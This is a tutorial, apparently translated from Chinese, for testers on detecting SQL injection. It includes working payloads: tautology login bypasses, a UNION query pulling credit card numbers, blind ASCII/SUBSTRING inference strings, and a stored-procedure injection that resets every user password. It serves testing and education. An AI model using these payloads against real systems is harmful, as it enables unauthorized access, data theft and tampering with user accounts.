How to prevent SQL injection--test article

In the previous article , "How to prevent SQL injection-programming," we talked about how coding to prevent SQL injection vulnerabilities in code for programmers, for testers , how do you test for the existence of SQL injection vulnerabilities?

First, we can divide the SQL injection attack into the following three types:

　　Inband: The data is taken out through the SQL code injection channel, which is the most direct attack, the information obtained through SQL injection is directly reflected on the application's Web page;

　　Out-of-band: data is obtained in a way different from SQL code injection (e.g. by mail, etc.)

　　inference: This attack means that there is no real data transfer, but an attacker could reorganize the returned results to get some information by sending a specific request.

Regardless of the SQL injection, an attacker would need to construct a syntactically correct SQL query, and if the application returns an error message to an incorrect query, then it is easier to inject the logic of the initial query statement, and then it can be easily injected; If the application hides the error message, Then the attacker would have to reverse-engineer the query logic, what we call "blind SQL injection"

　　black box Test and Example:

The first step in this test is to understand when our application needs to access the database , and the typical time to access the database is:

Authentication form: Enter a user name and password to check for permissions

Search Engine: Submit a string to get the corresponding record from the database

E-commerce site: Get the price of a certain kind of goods and other information

As testers, we need to make a form that lists the values of all the input fields that might be used for the query, including the hidden fields of those post requests, and then intercept the query statement and produce an error message. The first test is often a single quotation mark "'" or a semicolon "," the former is a string terminator in SQL, and if the application is not filtered, an error message is generated, and the latter is an terminator of an SQL statement in SQL, and an error message is also generated if there is no filtering. In Microsoft SQL Server, the error message that is returned is typically:

Microsoft OLE DB Provider for ODBC Drivers error ' 80040e14 ' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Unclosed quotation mark before the character string ". /target/target.asp, line 113

Also available for testing are "--" and some of the keywords in sql, such as "and", usually a common test is to enter a string in an input box that requires input as a number, and return the following error message:

Microsoft OLE DB Provider for ODBC Drivers error ' 80040e07 ' [Microsoft] [ODBC SQL Server Driver] [SQL Server] Syntax error converting the varchar value ' tester ' to a column of data type int. /target/target.asp, line 113

Errors like the one above let us know a lot of database information, usually do not return so much information, will return such as "Server Error" information, then need "blind SQL injection". Note that we need to test all input domains that may have SQL injection vulnerabilities, and only change the value of one domain at each test case to find the input domain that is really vulnerable.

Let's take a look at the standard SQL injection test.

Let's take the following SQL query as an example:

SELECT * from Users WHERE username= ' $username ' and password= ' $password '

If we enter the following user name and password on the page:

$username = 1 ' or ' 1 ' = ' 1 $password = 1 ' or ' 1 ' = ' 1

The entire query is then changed to:

SELECT * from Users WHERE username= ' 1 ' or ' 1 ' = ' 1 ' and password= ' 1 ' or ' 1 ' = ' 1 '

Assuming that the parameter value is passed to the server through the Get method, and the domain name is www.example.com, then our access request is:

Http://www.example.com/index.php?username=1 '%20or%20 ' 1 '%20=%20 ' 1&password=1 '%20or%20 ' 1 '%20=%20 ' 1

After a simple analysis of the SQL statement above, we know that because the statement is always true, some data will definitely be returned, in which case the user name and password are not actually validated, and in some systems the first row of the user table is logged as an administrator, which results in more serious consequences.

An example of another query is as follows:

SELECT * from the Users WHERE ((username= ' $username ') and (Password=md5 (' $password ')))

In this example, there are two problems, one is the use of parentheses, and the other is the use of the MD5 hash function. For the first question, we can easily find the missing closing parenthesis, and for the second problem, we can try to invalidate the second condition. We add an annotation at the end of the query statement to indicate that it is followed by a comment, and the usual comment starting character is/* (in Oracle), that is, we use the following user name and password:

$username = 1 ' or ' 1 ' = ' 1 '))/* $password = Foo

Then the entire SQL statement becomes:

SELECT * from Users WHERE ((username= ' 1 ' or ' 1 ' = ' 1 '))/* ') and (Password=md5 (' $password ')))

Our URL request changes to:

Http://www.example.com/index.php?username=1 '%20or%20 ' 1 '%20=%20 ' 1 '))/*&password=foo

Union query SQL injection test

There is also a test that uses the union, which can be used to connect queries to get information from other tables, assuming we have the following query:

SELECT Name, Phone, Address from Users WHERE id= $id

Then we set the value of the ID to:

$id =1 UNION all SELECT creditcardnumber,1,1 from creditcartable

Then the whole query becomes:

Select Name, Phone, Address from the Users WHERE id=1 UNION all SELECT creditcardnumber,1,1 from creditcartable

Obviously this will give you all the credit card users ' information.

　　Blind SQL injection Testing

In the above we mentioned blind SQL injection, blind SQL injection, which means that we have no information for an operation, usually because the programmer has written a specific error return page, thus hiding the information of the database structure.

Using the reasoning method, we can sometimes recover the value of a particular field. This approach typically takes a set of Boolean queries against the server, and infers the meaning of the results based on the returned results. Still continuation of the above www.example.com, there is a parameter named ID, then we enter the following URL request:

Http://www.example.com/index.php?id=1 '

Obviously due to grammatical errors, we get a pre-defined error page, assuming that the query statement on the server is select Field1, Field2, field3 from users WHERE id= ' $Id ', assuming we want to get the value of the User name field, So with some functions, we can read the value of the user name verbatim. Here we use the following functions:

SUBSTRING (text, start, length), ASCII (char), Length (text)

We define the ID as:

$Id =1 ' and ASCII (SUBSTRING (username,1,1)) =97 and ' 1 ' = ' 1

Then the final SQL query statement is:

SELECT field1, Field2, field3 from Users WHERE id= ' 1 ' and ASCII (SUBSTRING (username,1,1)) =97 and ' 1 ' = ' 1 '

So, if the ASCII code of the first character in the database has a username of 97, then we can get a true value, then we continue to look for the next character of the user name, if not, then we increment guess the first character of the ASCII code is 98 username, This can be repeated to determine the legal user name.

So, when can we end the reasoning, we assume that the value of the ID is:

$Id =1 ' and LENGTH (username) =n and ' 1 ' = ' 1

where n is the number of characters we have analyzed so far, the overall SQL query is:

SELECT field1, Field2, field3 from Users WHERE id= ' 1 ' and LENGTH (username) =n and ' 1 ' = ' 1 '

If the return value of this query is true, then we have completed the inference and we have obtained the desired value, if False, then we will continue to analyze.

This blind SQL injection would require us to enter a large number of SQL attempts, and there are some automated tools that can help us, and SQLDumper is a tool that makes get access requests to the MySQL database.

Stored Procedure Injection

In the previous article, "How to prevent SQL injection-programming," we mentioned that using stored procedures can prevent SQL injection, but also note that if stored procedures are not used properly, dynamic queries using stored procedures can actually cause some SQL injection vulnerabilities.

Take the following SQL stored procedure as an example:

Create procedure user_login @username varchar, @passwd varchar AS Declare @sqlstring varchar (250) Set @sqlstring = ' Select 1 from users Where username = ' + @username + ' and passwd = ' + @passwd EXEC (@sqlstring) Go

The user's input is as follows:

Anyusername or 1=1 ' Anypassword

If we do not validate the input, the above statement returns a record in the database.

Let's look at the following article:

Create procedure get_report @columnamelist varchar (7900) as Declare @sqlstring varchar (8000) Set @sqlstring = ' Select ' + @columnamelist + ' from reporttable ' EXEC (@sqlstring) Go

If the user input is:

1 from users; Update users Set password = ' password '; SELECT *

Later, it is obvious that all of the user's passwords are changed and the report information is obtained.

How to prevent SQL injection--test article (GO)